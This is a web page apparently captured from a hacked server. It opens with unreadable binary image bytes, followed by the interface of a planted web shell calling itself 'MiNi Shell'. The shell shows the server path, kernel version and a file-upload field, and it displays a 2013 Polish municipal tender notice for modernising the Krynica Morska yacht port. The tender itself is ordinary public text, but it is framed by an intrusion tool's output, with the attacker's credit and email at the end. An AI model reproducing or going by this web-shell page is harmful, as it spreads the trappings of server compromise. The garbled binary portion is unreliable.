JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20130328/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20130328/123802-N-2013.html

<p class="kh_header"><b>Krynica Morska: Modernizacja portu jachtowego w Krynicy Morskiej
w ramach projektu pn. Baltic Amber Coast. Development of crossborder area
through building up and modernization of tourism infrastructure</b><br>
<b>Numer ogłoszenia: 123802 - 2013; data zamieszczenia: 28.03.2013</b><br>
OGŁOSZENIE O ZAMÓWIENIU - roboty budowlane<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Urząd Miasta Krynica Morska , ul. Górników 15, 82-120 Krynica Morska, woj. pomorskie, tel. 55 2476527, faks 55 2476566.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.krynicamorska.tv</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Modernizacja portu jachtowego w Krynicy Morskiej
w ramach projektu pn. Baltic Amber Coast. Development of crossborder area
through building up and modernization of tourism infrastructure.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> roboty budowlane.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 1. Przedmiotem zamówienia jest wykonanie robót budowlanych zadania inwestycyjnego -
Modernizacja portu jachtowego w Krynicy Morskiej w ramach projektu pn. Baltic
Amber Coast. Development of crossborder area through building up and modernization
of tourism infrastructure, współfinansowanego ze środków Programu Współpracy
Transgranicznej EISP Litwa-Polska-Rosja 2007-2013.
2. Projekt pn. Baltic Amber Coast. Development of crossborder area through building up
and modernization of tourism infrastructure jest współfinansowany przez Unię
Europejską w ramach Programu Współpracy Transgranicznej Litwa Polska Rosja 2007 -
2013. W projekcie uczestniczącą następujący partnerzy: Gmina Sztutowo (Partner
Wiodący), Gmina Miasta Krynica Morska, Gmina Stegna, Gmina Miasta Ustka, Gmina
Jantarnyj w Rosji (Obwód Kaliningradzki). Projekt polega na podjęciu działań
inwestycyjnych i nieinwestycyjnych w zakresie rozwoju infrastruktury turystycznej,
morskiej, portowej.
3. Zakres zamówienia obejmuje wykonanie następujących robót budowlanych:
3.1. Budowa budynku informacji turystycznej + wc, w tym:
a) roboty budowlane: roboty ziemne, ławy i stopy fundamentowe, ściany
fundamentowe, ściany parteru, konstrukcja dachu, pokrycie dachu, stolarka
okienna i drzwiowa, roboty tynkarskie + glazura, roboty malarskie, podłoża i
posadzki, elewacje, zabezpieczenie przed powodzią otworów, roboty zewnętrzne,
zestawienie stali zbrojeniowej
b) roboty elektryczne: elementy zasilania, instalacja oświetleniowa i gniazd
wtyczkowych, instalacje elektryczne zasilania wentylacji
c) roboty sanitarne: instalacja kanalizacji wewnętrznej, instalacja wodociągowa,
instalacje wentylacji mechanicznej
3.2. Zagospodarowanie terenu, w tym:
a) roboty drogowe:
b) budowa ciągów komunikacyjnych, placów, parkingów,
c) zagospodarowanie terenów zielonych oraz montaż tablicy informacyjnej;
d) wywóz i utylizacja gruzu, ziemi i odpadów.
3.3. Roboty elektryczne:
a) oświetlenie terenu;
b) linie sterownicze;
c) badania i pomiary.
4. Zamawiający informuje, iż w przypadku potrzeby zapoznania się z innymi dokumentami
dotyczącymi przedmiotu zamówienia, będą one dostępne do wglądu w
siedzibie Zamawiającego w godzinach pracy Urzędu.
5. Wykonawca sporządzi harmonogram rzeczowo-finansowy wykonania robót objętych
umową i przedłoży do zatwierdzenia w terminie 14 dni od dnia udzielenia zamówienia.
6. Harmonogram rzeczowo-finansowy realizacji zamówienia - przedstawiający terminy
realizacji poszczególnych etapów robót w ramach realizacji zamówienia musi
uwzględniać zakończenie robót w terminie, o którym mowa w rozdziale VII Specyfikacji
Istotnych Warunków Zamówienia.
7. Wskazanie w opisie przedmiotu zamówienia: znaków towarowych, patentów lub
pochodzenia, nie ma na celu naruszenia art. 29 i 7 ustawy Pzp, a służy jedynie jak
najdokładniejszemu przedstawieniu oczekiwań jakościowych i technologicznych
Zamawiającego. Zamawiający dopuszcza rozwiązania równoważne pod warunkiem
zachowania co najmniej tego samego poziomu technologicznego i wydajnościowego.
8. Zamawiający dopuszcza również rozwiązania równoważne opisywanym za pomocą
norm, aprobat, specyfikacji technicznych i systemów odniesienia, o których mowa w art.
30 ust. 1-3 ustawy Pzp.
9. Należy stosować zasadę kraju pochodzenia w odniesieniu do zastosowanych materiałów i urządzeń. Oznacza to, iż jeśli akt prawny lub inny instrument odnoszący się do Programu Współpracy Transgranicznej EISP Litwa-Polska-Rosja 2007-2013 określa zasady kraju pochodzenia dostaw nabywanych przez Beneficjenta w odniesieniu do dofinansowania, oferent zobowiązany jest podać kraj pochodzenia dostaw w znaczeniu określonym w art. 23 i 24 Rozporządzenia Rady (EWG) nr 2913/92 z dnia 12 października 1992 roku ustanawiającego Wspólnotowy Kodeks Celny oraz innych aktów wspólnotowych
dotyczących pochodzenia niepreferencyjnego. Art. 23 w/w Rozporządzenia:
9.1. Towarami pochodzącymi z danego kraju są towary całkowicie uzyskane w tym
kraju.
9.2. Określenie (towary całkowicie uzyskane w danym kraju) oznacza:
a) produkty mineralne tam wydobyte;
b) produkty roślinne tam zebrane;
c) żywe zwierzęta tam urodzone i wyhodowane;
d) produkty uzyskane od żywych zwierząt tam wyhodowanych;
e) produkty uzyskane przez polowanie lub rybołówstwo tam prowadzone;
f) produkty rybołówstwa morskiego i inne produkty wydobywane z mórz
znajdujących się poza morzem terytorialnym danego kraju przez statki w nim zarejestrowane i pływające pod jego banderą;
g) towary wytworzone na pokładach statków przetwórni z produktów określonych w lit. f), pochodzących z tego kraju, o ile te statki przetwórnie zostały zarejestrowane w tym kraju i pływają pod jego banderą;
h) produkty wydobyte z dna morskiego lub z gruntu pod dnem morskim, znajdującym się poza morzem terytorialnym, o ile dany kraj ma prawa wyłączności do eksploatacji tego dna lub gruntu;
i) odpady i pozostałości powstające w wyniku procesów produkcyjnych oraz
towary zużyte, jeżeli zostały tam zebrane i nadają się wyłącznie do odzyskiwania
surowców;
j) towary tam wytworzone wyłącznie z towarów wymienionych w lit. a)-i) lub z ich
pochodnych na dowolnym etapie przetworzenia.
9.3. Do celów stosowania pkt. 9.2 określenie (kraj) obejmuje również morze
terytorialne tego kraju. Art. 24 w/w Rozporządzenia: Towar, w którego produkcję
zaangażowany jest więcej niż jeden kraj, jest uznawany za pochodzący z kraju, w
którym został poddany ostatniej istotnej, ekonomicznie uzasadnionej obróbce lub
przetworzeniu, które spowodowało wytworzenie nowego produktu lub stanowiło
istotny etap wytwarzania w przedsiębiorstwie przystosowanym do tego celu.
10.Gdy akt prawny lub inny instrument odnoszący się do Programu Współpracy
Transgranicznej EISP Litwa-Polska-Rosja 2007-2013 nie określa zasad kraju
pochodzenia dostaw nabywanych przez Beneficjenta w ramach dotacji, kraj pochodzenia
tych dostaw może być dowolny, a świadectwo pochodzenia nie jest wymagane.
11.Wykonawca w ramach realizowanego zadania zobowiązany będzie do doradztwa w
zakresie tworzenia produktu turystycznego w projekcie pn. Baltic Amber Coast.
Development of crossborder area through building up and modernization of tourism
infrastructure w kontekście zastosowanych rozwiązań technicznych, technologicznych i
zagospodarowania terenu. Wykonawca zapewni uczestnictwo co najmniej jednego
eksperta w planowych warsztatach w Ustce (2 dni x 8 godzin) z głosem doradczym w
następujących zagadnieniach: jaki wpływ zastosowana technologia poszczególnych
elementów infrastruktury może mieć na tworzony w ramach projektu kompleksowy produkt turystyczny oraz w jaki sposób elementy infrastruktury w inwestycji mogą współtworzyć spójny produkt turystyczny, a także jakie elementy techniczne, technologiczne należy wziąć pod uwagę kreując nowy produkt turystyczny w kontekście realizacji tej konkretnej inwestycji.
12.Szczegółowy zakres robót budowlanych do wykonania określa dokumentacja projektowa stanowiąca Załącznik nr 1 do SIWZ, specyfikacje techniczne wykonania i odbioru robót budowlanych stanowiące Załącznik nr 2 SIWZ oraz przedmiary robót (przedmiary są elementem pomocniczym projektu) stanowiące Załącznik nr 3 SIWZ..</p>
<p><b>II.1.5) przewiduje się udzielenie zamówień uzupełniających:</b></p>
<ul class="kh_indent_1"><li><b>Określenie przedmiotu oraz wielkości lub zakresu zamówień uzupełniających</b></li><li>Zamawiający dopuszcza udzielenie zamówień uzupełniających, o których mowa w art. 67 ust. 1 pkt 6 Prawa zamówień publicznych do wysokości 5% wartości umownej robót wynikającej z podpisanej umowy między Wykonawcą i Zamawiającym.</li></ul>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 45.11.12.00-0, 45.11.12.91-4, 45.11.27.10-5, 45.11.30.00-2, 45.21.00.00-2, 45.21.55.00-2, 45.23.30.00-9, 45.31.00.00-3.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 31.03.2014.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> 1. Przystępując do niniejszego postępowania każdy Wykonawca zobowiązany jest wnieść wadium w wysokości 100.000,00 zł (słownie złotych: sto tysięcy złotych 00/100).
2. Wadium należy wnieść w jednej lub kilku formach przewidzianych w art. 45 ust. 6
ustawy Prawa zamówień publicznych, tj.:
2.1. pieniądzu,
2.2. poręczeniach bankowych lub poręczeniach spółdzielczej kasy oszczędnościowo -
kredytowej, z tym że poręczenie kasy jest zawsze poręczeniem pieniężnym,
2.3. gwarancjach bankowych,
2.4. gwarancjach ubezpieczeniowych,
2.5. poręczeniach udzielanych przez podmioty, o których mowa w art. 6 b ust. 5 pkt 2
ustawy z dna 9 listopada 2000r. o utworzeniu Polskiej Agencji Rozwoju
Przedsiębiorczości (Dz. U. Nr 109 poz. 1158 ze zm.).
3. Wykonawca zobowiązany jest wnieść wadium przed upływem terminu składania
ofert.
4. Wadium w pieniądzu należy wnieść przelewem na konto Zamawiającego:
Bank Spółdzielczy w Stegnie
Nr 55 8308 0001 0006 1681 2000 0070
5. W przypadku wadium wnoszonego w pieniądzu, jako termin wniesienia wadium przyjęty zostaje termin uznania kwoty na rachunku Zamawiającego.
6. W przypadku wniesienia wadium w formie innej niż pieniądz- oryginał dokumentu
potwierdzającego wniesienie wadium należy złożyć przed upływem terminu składania
ofert w siedzibie Zamawiającego - ul. Górników 15 w sekretariacie lub zamieścić w
osobnej kopercie opisanej (wadium), dołączonej do oferty.
7. Nie wniesienie wadium do upływu terminu składania ofert, na przedłużony okres
związania ofertą lub w terminie, o którym mowa w art. 46 ust. 3 albo brak zgody na
przedłużenie okresu zawiązania ofertą spowoduje wykluczenie Wykonawcy na
podstawie art. 24 ust. 2 pkt 2 ustawy Pzp, a jego oferta zostanie uznana za odrzuconą na podstawie art. 24 ust. 4 ustawy Pzp.
8. Wadium wniesione w formach, o których mowa w pkt. 2.2-2.5 musi posiadać okres
ważności nie krótszy niż okres związania ofertą.</p>
<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Rozdział IX z SIWZ.</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Rozdział IX z SIWZ.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Rozdział IX z SIWZ.</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Rozdział IX z SIWZ.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz robót budowlanych wykonanych w okresie ostatnich pięciu lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich rodzaju i wartości, daty i miejsca wykonania oraz z załączeniem dowodów dotyczących najważniejszych robót, określających, czy roboty te zostały wykonane w sposób należyty oraz wskazujących, czy zostały wykonane zgodnie z zasadami sztuki budowlanej i prawidłowo ukończone;</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami;</li>

<li  style="margin-bottom: 12px;">oświadczenie, że osoby, które będą uczestniczyć w wykonywaniu zamówienia, posiadają wymagane uprawnienia, jeżeli ustawy nakładają obowiązek posiadania takich uprawnień;</li>

<li  style="margin-bottom: 12px;">informację banku lub spółdzielczej kasy oszczędnościowo-kredytowej potwierdzającą wysokość posiadanych środków finansowych lub zdolność kredytową wykonawcy, wystawioną nie wcześniej niż 3 miesiące przed upływem terminu składania ofert albo składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia;</li>

<li  style="margin-bottom: 12px;">opłaconą polisę, a w przypadku jej braku, inny dokument potwierdzający, że wykonawca jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności związanej z przedmiotem zamówienia.</li>

</ul>
<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego naczelnika urzędu skarbowego potwierdzające, że wykonawca nie zalega z opłacaniem podatków, lub zaświadczenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego oddziału Zakładu Ubezpieczeń Społecznych lub Kasy Rolniczego Ubezpieczenia Społecznego potwierdzające, że wykonawca nie zalega z opłacaniem składek na ubezpieczenia zdrowotne i społeczne, lub potwierdzenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu -  wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">nie zalega z uiszczaniem podatków, opłat, składek na ubezpieczenie społeczne i zdrowotne albo że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawiony nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">nie orzeczono wobec niego zakazu ubiegania się o zamówienie - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p><ul class="kh_indent_1">
<li>1 - Cena - 85</li>
<li>2 - Gwarancja - 15</li>
</ul>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Rozdział XX SIWZ.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> bip.krynicamorska.tv<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Urząd Miasta Krynica Morska, ul. Górników 15, 82-120 Krynica Morska.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 15.04.2013 godzina 12:00, miejsce: Sekretariat Urzędu Miasta Krynica Morska, ul. Górników 15, 82-120 Krynica Morska,.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Projekt pn. Baltic Amber Coast. Development of crossborder area through building up and modernization of tourism infrastructure jest współfinansowany przez Unię Europejską w ramach Programu Współpracy Transgranicznej Litwa Polska Rosja 2007 - 2013..</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com